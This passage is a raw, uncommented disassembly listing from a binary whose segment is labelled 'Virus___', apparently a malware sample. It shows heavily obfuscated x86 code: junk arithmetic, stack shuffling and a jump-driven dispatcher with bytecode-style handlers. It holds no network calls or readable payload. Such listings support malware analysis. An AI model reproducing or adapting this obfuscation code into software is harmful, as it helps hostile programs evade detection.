		jmp	loc_54C303
; ---------------------------------------------------------------------------


loc_548C8C:				; CODE XREF: sub_545A2B+452j
		mov	ecx, 29954510h
		push	edx
		mov	edx, 7DFE15C3h
		or	edx, 5E6C316Eh
		xor	edx, 798267B1h
		xor	edx, 2A137026h
		jmp	loc_544006
; ---------------------------------------------------------------------------


loc_548CAE:				; CODE XREF: sub_545A2B+5985j
		push	ebx
		jmp	loc_54B260
; ---------------------------------------------------------------------------


loc_548CB4:				; CODE XREF: sub_545A2B-16Cj
		add	edx, 612A89C2h
		jmp	loc_54D286
; ---------------------------------------------------------------------------


loc_548CBF:				; CODE XREF: sub_545A2B+4772j
		xor	ebx, ecx
		jmp	loc_545551
; ---------------------------------------------------------------------------


loc_548CC6:				; CODE XREF: sub_545A2B+3D3Cj
		pop	ebp
		add	ebx, 2
		push	ebx
		push	[esp-1Eh+arg_1E]
		mov	ebx, [esp-1Ah+arg_16]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_54C6E2
; ---------------------------------------------------------------------------


loc_548CE6:				; CODE XREF: sub_545A2B-284Cj
		push	ecx
		push	ebx
		mov	ebx, 446273BCh
		shr	ebx, 4
		jmp	loc_5489F3
; ---------------------------------------------------------------------------


loc_548CF5:				; CODE XREF: sub_545A2B+6396j
		xor	ebx, 7C4C2BCBh
		jmp	loc_54F2C7
; ---------------------------------------------------------------------------


loc_548D00:				; CODE XREF: sub_545A2B+74CEj
		mov	cl, 0B3h
		push	eax
		jmp	loc_54EA25
; ---------------------------------------------------------------------------


loc_548D08:				; CODE XREF: sub_545A2B-40Ej
		sub	esp, 4
		mov	[esp+0], esp
		push	ebp
		jmp	loc_54B26F
; ---------------------------------------------------------------------------


loc_548D17:				; CODE XREF: sub_545A2B-216j
		push	eax
		push	dword ptr [esp+4]
		pop	eax
		pop	[esp-8+arg_4]
		mov	esp, [esp+0]
		jmp	loc_545714
; ---------------------------------------------------------------------------


loc_548D28:				; CODE XREF: sub_545A2B+4F9Aj
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_548D2D:				; CODE XREF: sub_54ECC0-A7F1j
		push	ecx
		jmp	loc_54A931
; ---------------------------------------------------------------------------


loc_548D33:				; CODE XREF: sub_54D63C-90A4j
		pop	edi
		sub	edi, 7B211F18h
		and	edi, 4E9E2038h
		jmp	loc_546B5D
; ---------------------------------------------------------------------------


loc_548D45:				; CODE XREF: sub_545A2B+11F0j
		pop	eax
		sub	eax, 60B091Ah
		not	eax
		inc	eax
		neg	eax
		jmp	loc_54D36E
; ---------------------------------------------------------------------------


loc_548D55:				; CODE XREF: sub_545A2B+15F0j
		mul	ecx
		push	edx
		jmp	loc_54C40E
; ---------------------------------------------------------------------------


loc_548D5D:				; CODE XREF: Virus___:005449DDj
		push	eax
		mov	eax, 4
		add	edx, eax
		pop	eax
		push	ebp
		push	423C2AC0h
		push	[esp+4+var_4]
		pop	ebp
		add	esp, 4
		sub	esp, 4
		mov	[esp+4+var_4], edx
		mov	edx, 4981086Bh
		jmp	loc_54ACA5
; ---------------------------------------------------------------------------


loc_548D89:				; CODE XREF: sub_545A2B-12A5j
		sub	eax, 47F03F09h
		jmp	loc_5463C4
; ---------------------------------------------------------------------------


loc_548D93:				; CODE XREF: sub_545A2B-1709j
		push	ecx
		mov	ecx, 643D1C3Dh
		xor	ecx, 52D72E72h
		jmp	loc_547A20
; ---------------------------------------------------------------------------


loc_548DA4:				; CODE XREF: sub_545A2B+2B38j
		mov	esi, 2A1740B7h
		xor	eax, esi
		pop	esi
		push	ecx
		mov	ecx, 3DCB5E4Ch
		xor	eax, ecx
		jmp	loc_54D2B0
; ---------------------------------------------------------------------------


loc_548DB9:				; CODE XREF: sub_545A2B+360Ej
		push	eax
		jmp	loc_544838
; ---------------------------------------------------------------------------


loc_548DBF:				; CODE XREF: Virus___:00545284j
		add	esp, 4
		xchg	edx, [esp-12h+arg_E]
		jmp	loc_54D1FC
; ---------------------------------------------------------------------------


loc_548DCD:				; CODE XREF: sub_545A2B+944Bj
		xor	edi, 0F0B88C5Ch
		mov	eax, edi
		pop	edi
		add	eax, 273F7C80h
		xor	eax, 7EF1F1A6h
		add	ebp, eax
		jmp	loc_54B317
; ---------------------------------------------------------------------------


loc_548DE7:				; CODE XREF: sub_545A2B+54FFj
		sub	bl, 0B5h
		push	eax
		mov	al, bl
		mov	cl, al
		pop	eax
		pop	ebx
		jmp	loc_54EEBE
; ---------------------------------------------------------------------------


loc_548DF6:				; CODE XREF: sub_545A2B+99F7j
		mov	ecx, 250E69A1h
		jmp	loc_54884F
; ---------------------------------------------------------------------------


loc_548E00:				; CODE XREF: sub_545A2B+69CAj
		mov	eax, [esp-1Ah+arg_16]
		push	edi
		jmp	loc_54E561
; ---------------------------------------------------------------------------


loc_548E09:				; CODE XREF: sub_545A2B+84F2j
		mov	ebp, 6303349Ah
		and	ebp, 41C95518h
		not	ebp
		shr	ebp, 8
		or	ebp, 6BCA7A73h
		or	ebp, 6BEC5AFBh
		add	ebp, 877B6853h
		xor	edx, ebp
		jmp	loc_54C538
; ---------------------------------------------------------------------------


loc_548E32:				; CODE XREF: sub_545A2B+8DB9j
		add	edi, 9B3CE268h
		add	ebp, edi
		pop	edi
		xchg	ebp, [esp-1Ah+arg_16]
		jmp	loc_543F8B
; ---------------------------------------------------------------------------


loc_548E43:				; DATA XREF: Virus___:00542EF8o
		push	6BB4h
		jmp	loc_5443AB
; ---------------------------------------------------------------------------


loc_548E4D:				; CODE XREF: sub_545A2B+695Aj
		inc	edi
		xor	edi, 488B088Eh
		xor	ebx, edi
		mov	edi, [esp-16h+arg_12]
		add	esp, 4
		jmp	loc_54C78D
; ---------------------------------------------------------------------------
		mov	cx, word ptr [esp-1Ah+arg_16]
		push	edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp-12h+arg_E], ebx
		mov	ebx, 13B14720h
		shl	ebx, 4
		push	edx
		mov	edx, 2E6B3087h
		dec	edx
		xor	edx, 157F4282h
		xor	ebx, edx
		mov	edx, [esp-0Eh+arg_A]
		jmp	loc_54E803
; ---------------------------------------------------------------------------


loc_548E8D:				; DATA XREF: Virus___:00542EB8o
		push	small 0D0Dh
		jmp	loc_546D3D
; ---------------------------------------------------------------------------


loc_548E96:				; CODE XREF: sub_545A2B+3953j
		push	esi
		mov	esi, 4
		sub	edi, 2E3F7358h
		sub	edi, 31E3719Ah
		add	edi, esi
		add	edi, 31E3719Ah
		jmp	loc_5438FC
; ---------------------------------------------------------------------------


loc_548EB5:				; CODE XREF: sub_545A2B+57A1j
		pop	edi
		jmp	loc_5480EC
; ---------------------------------------------------------------------------


loc_548EBB:				; CODE XREF: sub_545A2B+9890j
		or	eax, 4140161h
		jmp	loc_54BD60
; ---------------------------------------------------------------------------


loc_548EC5:				; CODE XREF: sub_545A2B+1C61j
		sub	al, bh
		jmp	loc_54D50D
; ---------------------------------------------------------------------------


loc_548ECC:				; DATA XREF: Virus___:00542F04o
		mov	ax, word ptr [esp-3Eh+arg_3A]
		push	ebp
		mov	ebp, esp
		push	esi
		mov	esi, 4
		jmp	loc_547714
; ---------------------------------------------------------------------------


loc_548EDE:				; CODE XREF: sub_545A2B+7D06j
		mov	[esp-36h+arg_32], esi
		push	ebx
		push	79022E6Eh
		jmp	loc_54B683
; ---------------------------------------------------------------------------


loc_548EEC:				; CODE XREF: sub_545A2B+4119j
		neg	eax
		sub	eax, 799CCECh
		or	edi, eax
		pop	eax
		push	ebx
		mov	ebx, 300E6B4Ch
		xor	edi, ebx
		jmp	loc_545022
; ---------------------------------------------------------------------------


loc_548F03:				; CODE XREF: sub_545A2B+7DF0j
		mov	ax, word ptr [esp-2Eh+arg_2A]
		add	esp, 2
		movzx	eax, al
		lea	eax, [edi+eax*4]
		jmp	loc_549975
; ---------------------------------------------------------------------------


loc_548F18:				; CODE XREF: sub_545A2B+22A1j
		mov	[esp-18h+arg_12+2], esp
		add	[esp-18h+arg_12+2], 4
		pop	esi
		jmp	loc_544ADE
; ---------------------------------------------------------------------------


loc_548F25:				; CODE XREF: sub_545A2B+73F1j
		imul	cx, ax
		push	cx
		pushf
		jmp	loc_54EFC2
; ---------------------------------------------------------------------------


loc_548F31:				; CODE XREF: sub_545A2B+2EBBj
		and	ecx, ebp
		pop	ebp
		shr	ecx, 7
		push	eax
		mov	eax, esp
		jmp	loc_543A33
; ---------------------------------------------------------------------------


loc_548F3F:				; CODE XREF: sub_545A2B+6F2Ej
		mov	edx, [esp-54h+arg_50]
		add	esp, 4
		xor	edx, 7EC761EBh
		mov	edi, [esp-58h+arg_54]
		add	esp, 4
		mov	ebx, edx
		mov	edx, [esp-5Ch+arg_58]
		add	esp, 4
		xor	ebx, edi
		pop	edi


loc_548F62:				; CODE XREF: sub_545A2B+1AC4j
		push	esi
		push	eax
		mov	esi, [esp-5Ch+arg_58]
		add	esp, 4
		push	1E89h
		mov	[esp-5Ch+arg_58], esi
		push	ebx
		mov	ebx, 100B238Bh
		xor	[esp-58h+arg_58], ebx
		push	[esp-58h+arg_54]
		pop	ebx
		add	esp, 4
		jmp	loc_54ACE0
; ---------------------------------------------------------------------------


loc_548F8B:				; CODE XREF: sub_545A2B+47ABj
		xor	[esp-5Ch+arg_58], edx
		xor	edx, [esp-5Ch+arg_58]
		mov	esp, [esp-5Ch+arg_58]
		push	ecx
		push	3EA0h
		mov	[esp-54h+arg_50], eax
		push	ebx
		mov	bh, dl
		mov	ah, bh
		pop	ebx
		mov	ch, ah
		pop	eax
		push	ebx
		mov	bh, ch
		push	ebp
		jmp	loc_54D97D
; ---------------------------------------------------------------------------


loc_548FAF:				; DATA XREF: Virus___:00542D64o
		push	2116h
		jmp	loc_54357F
; ---------------------------------------------------------------------------


loc_548FB9:				; CODE XREF: sub_545A2B+7C74j
		mov	esi, 33D6693Dh
		not	esi
		shl	esi, 4
		neg	esi
		shr	esi, 5
		add	esi, 1ED23ECDh
		dec	esi
		sub	esi, 2C7C1618h
		not	esi
		inc	esi
		jmp	loc_54E7E9
; ---------------------------------------------------------------------------


loc_548FDD:				; CODE XREF: sub_545A2B-BFBj
		mov	[esp-0Eh+arg_A], edi
		jmp	loc_544279
; ---------------------------------------------------------------------------


loc_548FE5:				; CODE XREF: sub_545A2B+786Cj
		pop	edx
		jmp	loc_54486C
; ---------------------------------------------------------------------------


loc_548FEB:				; CODE XREF: sub_545A2B+5FFAj
		jmp	loc_542F67
; ---------------------------------------------------------------------------
		pop	small word ptr [edx]
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_548FF8:				; CODE XREF: sub_545A2B+6A6j
		push	[esp-40h+arg_3E+2]
		pop	ebx
		pop	[esp-40h+arg_3A+2]
		mov	esp, [esp-44h+arg_3E+2]
		push	dword ptr [edi+eax*4]
		push	[esp-40h+arg_3A+2]
		mov	eax, [esp-3Ch+arg_36+2]
		add	esp, 4
		push	ebx
		mov	ebx, esp
		push	edx
		mov	edx, 36B83544h
		push	ebp
		push	26441A40h
		jmp	loc_547F41
; ---------------------------------------------------------------------------


loc_549026:				; CODE XREF: sub_545A2B+6304j
		pop	ecx
		add	ecx, 4
		sub	ecx, 4
		xchg	ecx, [esp-34h+arg_2E+2]
		mov	esp, [esp-34h+arg_2E+2]
		mov	[esp-34h+arg_2E+2], ebx
		jmp	loc_548DB9
; ---------------------------------------------------------------------------


loc_54903E:				; CODE XREF: sub_545A2B+5B28j
		add	ebx, edi
		push	[esp-34h+arg_2E+2]
		pop	edi
		jmp	sub_544481
; ---------------------------------------------------------------------------


loc_549049:				; CODE XREF: sub_545A2B+25EDj
		push	2E33h
		mov	[esp-38h+arg_32+2], eax
		push	0FDFh
		mov	[esp-34h+arg_2E+2], esi
		push	[esp-34h+arg_32+2]
		pop	esi
		pop	[esp-34h+arg_2E+2]
		not	esi
		push	ebx
		jmp	loc_54A301
; ---------------------------------------------------------------------------


loc_549069:				; CODE XREF: sub_545A2B+1921j
		not	si
		add	si, 4A68h
		jmp	loc_54ECF9
; ---------------------------------------------------------------------------


loc_549076:				; CODE XREF: sub_545A2B+6B69j
		mov	ecx, [esp-22h+arg_1E]
		add	esp, 4
		jmp	loc_54DC16
; ---------------------------------------------------------------------------


loc_549084:				; CODE XREF: sub_545A2B+5F16j
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_549089:				; CODE XREF: sub_545A2B+2A54j
		sub	al, bl
		sub	al, 0F8h
		add	al, 0E1h
		push	ebx
		jmp	loc_54B0EE
; ---------------------------------------------------------------------------


loc_549095:				; CODE XREF: sub_545A2B+4CC9j
		add	edi, ebx
		pop	ebx
		push	edi
		jmp	loc_54EBF0
; ---------------------------------------------------------------------------


loc_54909E:				; CODE XREF: sub_545A2B-1162j
		pop	esp
		jmp	loc_546697
; ---------------------------------------------------------------------------


loc_5490A4:				; CODE XREF: sub_545A2B+74E5j
		push	esp
		mov	eax, [esp-4Ch+arg_46+2]
		add	esp, 4
		jmp	loc_546593
; ---------------------------------------------------------------------------


loc_5490B0:				; CODE XREF: sub_545A2B-21F0j
		movzx	cx, ah
		push	ecx
		push	esp
		pop	ecx
		jmp	loc_54AA33
; ---------------------------------------------------------------------------


loc_5490BC:				; CODE XREF: sub_545A2B-C87j
		pop	edi
		push	esi
		mov	esi, esp
		add	esi, 4
		push	edx
		mov	edx, 4
		add	esi, edx
		jmp	loc_549183
; ---------------------------------------------------------------------------


loc_5490D3:				; CODE XREF: sub_545A2B+5871j
		mov	[esp-0Ah+arg_4+2], ebx
		push	0F4A3BC7h
		pop	ebx
		push	edx
		mov	edx, 6D3A5692h
		and	ebx, edx
		pop	edx
		neg	ebx
		shl	ebx, 2
		jmp	loc_54B480
; ---------------------------------------------------------------------------


loc_5490EF:				; CODE XREF: sub_545A2B-274Ej
		pop	eax
		jmp	loc_54E862
; ---------------------------------------------------------------------------


loc_5490F5:				; CODE XREF: sub_545A2B+40C0j
		mov	dh, bh
		pop	bx
		jmp	loc_543A7F
; ---------------------------------------------------------------------------


loc_5490FE:				; CODE XREF: sub_545A2B+3C36j
		add	ebx, edx
		pop	edx
		sub	ebx, 4
		xor	ebx, [esp-22h+arg_1E]
		xor	[esp-22h+arg_1E], ebx
		xor	ebx, [esp-22h+arg_1E]
		jmp	loc_54E2AF
; ---------------------------------------------------------------------------


loc_549115:				; DATA XREF: Virus___:00542F18o
		push	dword ptr [edi+1Ch]
		popf
		pop	ax
		adc	word ptr [esp-24h+arg_1E+2], ax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_549125:				; CODE XREF: sub_545A2B-2ABFj
		push	eax
		mov	eax, esp
		jmp	loc_54F402
; ---------------------------------------------------------------------------


loc_54912D:				; CODE XREF: sub_545A2B+4F39j
		pop	ebp
		add	esp, 4
		add	eax, ebx
		mov	ebx, [esp+0]
		add	esp, 4
		push	2BA8h
		mov	[esp+0], eax
		jmp	loc_54C2A9
; ---------------------------------------------------------------------------


loc_549149:				; CODE XREF: sub_545A2B+3942j
		sub	dl, 5Bh
		sub	esp, 4
		mov	[esp+2+var_4+2], ecx
		mov	ch, 0E4h
		sub	dl, ch
		jmp	loc_548090
; ---------------------------------------------------------------------------


loc_54915B:				; CODE XREF: sub_545A2B-1FEAj
		add	esp, 4
		push	edi
		mov	edi, 66921D1Ch
		jmp	loc_54ADF4
; ---------------------------------------------------------------------------


loc_549169:				; CODE XREF: sub_545A2B+59Ej
		add	esp, 4
		push	ecx
		push	4
		pop	ecx
		add	edi, ecx
		push	[esp-14h+arg_E+2]
		mov	ecx, [esp-10h+arg_A+2]
		add	esp, 4
		jmp	loc_545F95
; ---------------------------------------------------------------------------


loc_549183:				; CODE XREF: sub_545A2B+36A3j
		pop	edx
		xchg	esi, [esp-0Eh+arg_A]
		pop	esp
		push	ecx
		mov	ecx, 0
		add	ecx, edx
		add	eax, [ecx]
		jmp	loc_54F1FD
; ---------------------------------------------------------------------------


loc_549197:				; CODE XREF: sub_545A2B+7973j
		mov	edx, 5CF0636h
		and	ecx, edx
		pop	edx
		jmp	loc_54F384
; ---------------------------------------------------------------------------


loc_5491A4:				; CODE XREF: sub_545A2B+59A5j
		shl	byte ptr [esp-12h+arg_E], cl
		pushf
		jmp	loc_54A44C
; ---------------------------------------------------------------------------


loc_5491AD:				; CODE XREF: sub_545A2B+6A0Bj
		add	esp, 4
		add	esp, 4
		push	edx
		sub	esp, 4
		mov	[esp-0Eh+arg_A], esi
		push	42D50D8h
		jmp	loc_5445B4
; ---------------------------------------------------------------------------


loc_5491CA:				; CODE XREF: sub_545A2B+76FAj
		pop	ebx
		jmp	loc_543463
; ---------------------------------------------------------------------------


loc_5491D0:				; CODE XREF: sub_545A2B-1318j
		shl	dl, 3
		push	ecx
		push	bx
		mov	bl, 0D5h
		mov	ch, bl
		jmp	loc_5443D9
; ---------------------------------------------------------------------------
		mov	eax, [esp-38h+arg_32+2]
		sub	esp, 4
		mov	[esp-34h+arg_2E+2], ebp
		jmp	loc_54E7B9
; ---------------------------------------------------------------------------


loc_5491F0:				; CODE XREF: sub_545A2B+2127j
		push	66Ah
		mov	[esp-3Ch+arg_36+2], esp
		jmp	loc_549C22
; ---------------------------------------------------------------------------


loc_5491FD:				; CODE XREF: sub_545A2B-1280j
		xor	[esp-42h+arg_3E], edx
		xor	edx, [esp-42h+arg_3E]
		mov	esp, [esp-42h+arg_3E]
		jmp	loc_54D15E
; ---------------------------------------------------------------------------


loc_54920B:				; CODE XREF: Virus___:00544E86j
		add	eax, edx
		jmp	loc_547F33
; ---------------------------------------------------------------------------


loc_549212:				; CODE XREF: Virus___:00544BC7j
		push	edx
		mov	edx, esp
		add	edx, 4
		add	edx, 4
		xor	edx, [esp-3Eh+arg_3A]
		xor	[esp-3Eh+arg_3A], edx
		xor	edx, [esp-3Eh+arg_3A]
		pop	esp
		sub	esp, 4
		mov	[esp-3Eh+arg_3A], edx
		mov	edx, 466161B0h
		push	ebx
		mov	ebx, 4AB718B1h
		neg	ebx
		shl	ebx, 2
		xor	ebx, 0A2AC98E9h
		sub	edx, 24A9190Ah
		sub	edx, ebx
		add	edx, 24A9190Ah
		jmp	loc_54CAE9
; ---------------------------------------------------------------------------


loc_549257:				; CODE XREF: sub_54DA1B+6j
		shl	ebp, 3
		dec	ebp
		jmp	loc_54B820
; ---------------------------------------------------------------------------


loc_549260:				; CODE XREF: sub_545A2B+755Ej
		xor	edx, [esp-3Ah+arg_36]
		jmp	loc_547157
; ---------------------------------------------------------------------------


loc_549268:				; CODE XREF: sub_545A2B+1EF2j
		jmp	loc_542F67
; ---------------------------------------------------------------------------
		lodsb
		sub	al, 0E0h
		push	ebx
		mov	bl, 0FCh
		and	bl, 0ACh
		not	bl
		not	bl
		shr	bl, 5
		sub	bl, 64h
		push	edx
		mov	dl, 46h
		xor	dl, 0BFh
		xor	dl, 0FBh
		push	ecx
		mov	cl, 0D2h
		jmp	loc_54E1A6
; ---------------------------------------------------------------------------


loc_549291:				; CODE XREF: sub_545A2B+5DFBj
		add	ebp, edx
		pop	edx
		jmp	loc_543144
; ---------------------------------------------------------------------------


loc_549299:				; CODE XREF: sub_545A2B+FF0j
		xor	edx, [esp+0]
		mov	esp, [esp+0]
		jmp	loc_5472F4
; ---------------------------------------------------------------------------


loc_5492A4:				; CODE XREF: sub_545A2B+2CD9j
		inc	edx
		or	edx, 248302A3h
		inc	edx
		xor	edx, 55EB3F46h
		add	eax, edx
		pop	edx
		push	ebp
		mov	ebp, 41662478h
		add	eax, ebp
		pop	ebp
		add	eax, 3EC85A41h
		jmp	loc_543840
; ---------------------------------------------------------------------------


loc_5492C8:				; CODE XREF: sub_545A2B+5113j
		pop	bx
		add	al, 0F3h
		jmp	loc_547504
; ---------------------------------------------------------------------------


loc_5492D1:				; CODE XREF: sub_545A2B+4592j
		pop	[esp-52h+arg_4C+2]
		pop	esp
		shr	ecx, 0
		or	eax, eax
		jz	loc_54BF9E
		sub	esp, 4
		mov	[esp-56h+arg_50+2], ebx
		add	[esp-56h+arg_50+2], 414D1855h
		push	[esp-56h+arg_50+2]
		jmp	loc_54EFD9
; ---------------------------------------------------------------------------


loc_5492F5:				; CODE XREF: sub_545A2B+621Bj
		sub	edi, 4
		push	edi
		push	[esp-4Eh+arg_4C+2]
		pop	edi
		jmp	loc_54CBA1
; ---------------------------------------------------------------------------


loc_549303:				; CODE XREF: sub_545A2B+7EA8j
		sub	eax, ebx
		push	dword ptr [esp+0]
		mov	ebx, [esp-4Ah+arg_46]
		jmp	loc_544B5E
; ---------------------------------------------------------------------------


loc_549310:				; CODE XREF: sub_545A2B+47BDj
		mov	ebx, [esp-4Ah+arg_46]
		push	30D6h
		mov	[esp-46h+arg_42], ebp
		mov	ebp, esp
		add	ebp, 4
		push	ebx
		mov	ebx, 4
		add	ebp, ebx
		pop	ebx
		xchg	ebp, [esp-46h+arg_42]
		pop	esp
		pop	ecx
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_549336:				; CODE XREF: sub_545A2B+3C6Cj
		shl	eax, 8
		add	eax, 43DFA901h
		mov	ecx, eax
		jmp	loc_544CED
; ---------------------------------------------------------------------------


loc_549345:				; CODE XREF: sub_545A2B+6C88j
		add	ebp, ebx
		pop	ebx
		push	edi
		mov	edi, 23225018h
		xor	edi, 6F83A5EFh
		sub	ebp, edi
		jmp	loc_5464E9
; ---------------------------------------------------------------------------


loc_54935B:				; CODE XREF: sub_545A2B+4F5Bj
		pop	edi
		push	edi
		jmp	loc_54C758
; ---------------------------------------------------------------------------


loc_549362:				; CODE XREF: sub_545A2B+8AB4j
		mov	dl, 66h
		add	dl, ch
		pop	ecx
		add	dl, 0FAh
		and	dl, 60h
		jmp	loc_549149
; ---------------------------------------------------------------------------


loc_549372:				; CODE XREF: sub_545A2B+7C6j
		push	[esp-0Ah+arg_4+2]
		mov	eax, [esp-6+arg_0+2]
		add	esp, 4
		push	edi
		push	esp
		pop	edi
		jmp	loc_548E96
; ---------------------------------------------------------------------------


loc_549383:				; CODE XREF: sub_545A2B+29A1j
		sub	ch, bl
		mov	ebx, [esp-18h+arg_12+2]
		add	esp, 4
		sub	ch, 7Bh
		xor	ch, 2Eh
		jmp	loc_545D8A
; ---------------------------------------------------------------------------


loc_549396:				; CODE XREF: sub_545A2B+88FCj
		pop	ebp
		push	edx
		jmp	loc_54C71D
; ---------------------------------------------------------------------------
		lodsd
		push	edx
		push	eax
		jmp	loc_549D11
; ---------------------------------------------------------------------------


loc_5493A5:				; DATA XREF: Virus___:00542EE4o
		lodsd
		sub	eax, 4BFE62EEh
		add	eax, 419E55F4h
		jmp	loc_54B280
; ---------------------------------------------------------------------------


loc_5493B5:				; CODE XREF: sub_545A2B+2BACj
		push	43C61804h
		mov	edi, [esp+0Ch+var_C]
		add	esp, 4
		jmp	loc_547EB0
; ---------------------------------------------------------------------------


loc_5493C5:				; CODE XREF: sub_545A2B+6AC6j
		pop	edx
		add	ecx, 0FBD7EA60h
		and	eax, ecx
		mov	ecx, [esp+4+var_4]
		jmp	loc_54741D
; ---------------------------------------------------------------------------


loc_5493D6:				; CODE XREF: Virus___:0054EFA5j
		or	edi, 65F66D8Dh
		or	edi, 14BB5593h
		inc	edi
		push	esi
		mov	esi, 71A2411Fh
		inc	esi
		jmp	loc_545C52
; ---------------------------------------------------------------------------


loc_5493EF:				; CODE XREF: sub_545A2B+5F8Bj
		sub	edi, 571B7964h
		pop	esi
		xchg	edi, [esp+4+var_4]
		mov	esp, [esp+4+var_4]
		and	word ptr [esp+4+var_4],	ax
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_549406:				; CODE XREF: sub_545A2B+6CE3j
		sub	ecx, esi
		pop	esi
		and	ecx, 626D7CACh
		push	ebx
		jmp	loc_542FFF
; ---------------------------------------------------------------------------


loc_549415:				; CODE XREF: sub_545A2B+3E6Bj
		not	ebp
		jmp	loc_54E29F
; ---------------------------------------------------------------------------


loc_54941C:				; CODE XREF: sub_545A2B-1934j
		mov	edx, 340B5A88h
		push	edi
		jmp	loc_54B699
; ---------------------------------------------------------------------------


loc_549427:				; CODE XREF: sub_545A2B+4861j
		pop	[esp-2Ah+arg_26]
		pop	esp
		idiv	cx
		jmp	sub_54462C
; ---------------------------------------------------------------------------


loc_549433:				; CODE XREF: sub_545A2B-30j
		mov	[esp-18h+arg_12+2], eax
		mov	eax, 25C82E48h
		mov	ecx, eax
		mov	eax, [esp-18h+arg_12+2]
		add	esp, 4
		push	esi
		push	eax
		push	115239E1h
		jmp	loc_547D94
; ---------------------------------------------------------------------------


loc_54944F:				; CODE XREF: sub_545A2B+16F5j
		mov	[esp-24h+arg_1E+2], ebx
		sub	esp, 4
		mov	[esp-20h+arg_1A+2], esi
		mov	esi, 2
		jmp	loc_54EDD0
; ---------------------------------------------------------------------------


loc_549462:				; CODE XREF: sub_545A2B+1290j
		mov	esi, [esp-1Eh+arg_1A]
		push	ecx
		jmp	loc_54BE3F
; ---------------------------------------------------------------------------


loc_54946B:				; CODE XREF: sub_545A2B+19BFj
		add	ebp, 4
		jmp	loc_549E6D
; ---------------------------------------------------------------------------


loc_549476:				; CODE XREF: sub_545A2B+8DD3j
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp-16h+arg_12]
		mov	esp, [esp-16h+arg_12]
		add	esi, 4
		xchg	esi, [esp-16h+arg_12]
		pop	esp
		bswap	eax
		push	7011h
		mov	[esp-16h+arg_12], eax
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54949E:				; CODE XREF: sub_545A2B+4BCEj
		add	bh, 89h
		inc	bh
		add	bh, 0C8h
		mov	dh, bh
		jmp	loc_5482AB
; ---------------------------------------------------------------------------


loc_5494AD:				; CODE XREF: sub_545A2B-1562j
		xor	ax, bp
		jmp	loc_54827A
; ---------------------------------------------------------------------------


loc_5494B5:				; CODE XREF: sub_545A2B+643Bj
		inc	bh
		xor	bh, 0A8h
		push	ax
		push	edx
		mov	dl, 0B3h
		or	dl, 79h
		and	dl, 69h
		shl	dl, 7
		sub	dl, 0A1h
		xor	dl, 95h
		jmp	loc_54C19F
; ---------------------------------------------------------------------------


loc_5494D3:				; CODE XREF: sub_545A2B+4348j
		add	ebx, ebp
		add	ebx, 7FB40DBCh
		pop	ebp
		push	ecx
		mov	ecx, 2
		add	ebx, ecx
		pop	ecx
		xchg	ebx, [esp-18h+arg_12+2]
		mov	esp, [esp-18h+arg_12+2]
		bt	word ptr [esp-18h+arg_12+2], ax
		pushf
		jmp	loc_5455D9
; ---------------------------------------------------------------------------


loc_5494F6:				; CODE XREF: sub_545A2B+1B1Bj
		sub	esp, 4
		mov	[esp-16h+arg_12], edx
		mov	edx, esp
		sub	esp, 4
		mov	[esp-12h+arg_E], edi
		mov	edi, 4
		add	edx, edi
		pop	edi
		jmp	loc_54711A
; ---------------------------------------------------------------------------


loc_549514:				; CODE XREF: sub_545A2B+615Aj
		push	ebx
		mov	bh, 0F0h
		jmp	loc_544BCC
; ---------------------------------------------------------------------------


loc_54951C:				; CODE XREF: sub_545A2B+5878j
		mov	ch, 3
		xor	dl, ch
		jmp	loc_548893
; ---------------------------------------------------------------------------


loc_549525:				; CODE XREF: sub_545A2B+6922j
		mov	esi, 39705326h
		sub	ebp, esi
		pop	esi
		sub	ebp, 64B0427h
		sub	ebp, 76E598E1h
		add	edx, ebp
		mov	ebp, [esp-16h+arg_12]
		jmp	loc_543803
; ---------------------------------------------------------------------------


loc_549543:				; CODE XREF: sub_545A2B+E81j
		xor	eax, 32C60918h
		jmp	loc_54C4BD
; ---------------------------------------------------------------------------


loc_54954D:				; CODE XREF: sub_545A2B+19D1j
		push	esp
		pop	edi
		add	edi, 4
		jmp	loc_54E2C7
; ---------------------------------------------------------------------------


loc_54955A:				; CODE XREF: sub_545A2B+1D56j
		neg	esi
		jmp	loc_548265
; ---------------------------------------------------------------------------


loc_549561:				; CODE XREF: sub_54E535+1Aj
		shl	edi, 4
		neg	edi
		shr	edi, 6
		jmp	sub_54D63C
; ---------------------------------------------------------------------------


loc_54956E:				; CODE XREF: sub_545A2B+98BAj
		sub	esp, 4
		mov	[esp-2Ch+arg_26+2], edi
		push	esp
		pop	edi
		push	ecx
		mov	ecx, 4
		add	edi, ecx
		jmp	loc_545A74
; ---------------------------------------------------------------------------


loc_549586:				; CODE XREF: sub_545A2B+66E0j
		mov	ecx, 3E404FCh
		not	ecx
		jmp	loc_54A795
; ---------------------------------------------------------------------------


loc_549592:				; CODE XREF: sub_545A2B+5469j
		mov	eax, 0D9FAFFF0h
		push	ebp
		mov	ebp, 34476D0Ah
		sub	ecx, ebp
		jmp	loc_54514C
; ---------------------------------------------------------------------------


loc_5495A4:				; CODE XREF: sub_545A2B-71Bj
		pop	bp
		jmp	loc_5454D2
; ---------------------------------------------------------------------------


loc_5495AB:				; CODE XREF: sub_545A2B+41C5j
		pop	edi
		and	edi, 12F41419h
		dec	edi
		sub	edi, 3E7E171Fh
		sub	edi, 82E0ABC8h
		mov	ebx, edi
		pop	edi
		mov	esi, ebx
		jmp	loc_54F03C
; ---------------------------------------------------------------------------


loc_5495C9:				; CODE XREF: sub_545A2B+4A93j
		mov	[esp-16h+arg_12], edx
		push	esp
		jmp	loc_54D358
; ---------------------------------------------------------------------------


loc_5495D2:				; CODE XREF: sub_545A2B+5C81j
		pop	edx
		jmp	loc_547020
; ---------------------------------------------------------------------------


loc_5495D8:				; CODE XREF: sub_545A2B+1BBFj
		push	[esp-0Ah+arg_A]
		jmp	loc_54CD4B
; ---------------------------------------------------------------------------


loc_5495E1:				; CODE XREF: sub_545A2B-2373j
		inc	esi
		not	esi
		jmp	loc_546773
; ---------------------------------------------------------------------------


loc_5495E9:				; CODE XREF: sub_545A2B-1F20j
